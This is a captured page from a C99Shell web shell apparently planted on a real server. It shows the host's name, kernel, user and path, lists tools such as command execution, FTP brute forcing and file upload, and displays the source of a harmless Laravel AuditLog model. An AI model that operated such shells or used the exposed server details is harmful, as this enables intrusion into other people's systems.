!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/adflow-backend.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 25.01 GB of 117.98 GB (21.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuditLog.php (2.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
Illuminate\Database\Eloquent\Model;

class 
AuditLog extends Model
{
    protected 
$fillable = [
        
'entity_type',
        
'campaign_id',
        
'hilltop_account_id',
        
'user_id',
        
'action',
        
'details',
        
'status',
    ];

    protected 
$casts = [
        
'details' => 'array',
    ];

    public static function 
log($action$entityType$entityId$details = [], $status 'success')
    {
        
$log = new self();
        
$log->user_id auth()->id();
        
$log->action $action;
        
$log->entity_type $entityType;
        
$log->details $details;
        
$log->status $status;

        
// Handle specific entity IDs based on type
        
if ($entityType === 'campaign') {
            
$log->campaign_id $entityId;
        } elseif (
$entityType === 'user_mapping') {
            
// For user mapping, we might need to handle hilltop_account_id differently depending on context
            // But for now, let's assume entityId is the primary ID if applicable, 
            // or passed in details if it's a complex mapping
        
}

        
// If details contains specific IDs, map them
        
if (isset($details['hilltop_account_id'])) {
            
$log->hilltop_account_id $details['hilltop_account_id'];
        }
        if (isset(
$details['campaign_id'])) {
            
$log->campaign_id $details['campaign_id'];
        }

        
$log->save();

        return 
$log;
    }

    public function 
campaign()
    {
        return 
$this->belongsTo(Campaign::class);
    }

    public function 
user()
    {
        return 
$this->belongsTo(User::class);
    }

    public function 
hilltopAccount()
    {
        return 
$this->belongsTo(HilltopAccount::class);
    }

    
/**
     * Scope a query to only include user mapping audits.
     */
    
public function scopeUserMappingAudits($query)
    {
        return 
$query->where('entity_type''user_mapping');
    }

    
/**
     * Scope a query to only include campaign audits.
     */
    
public function scopeCampaignAudits($query)
    {
        return 
$query->where('entity_type''campaign');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--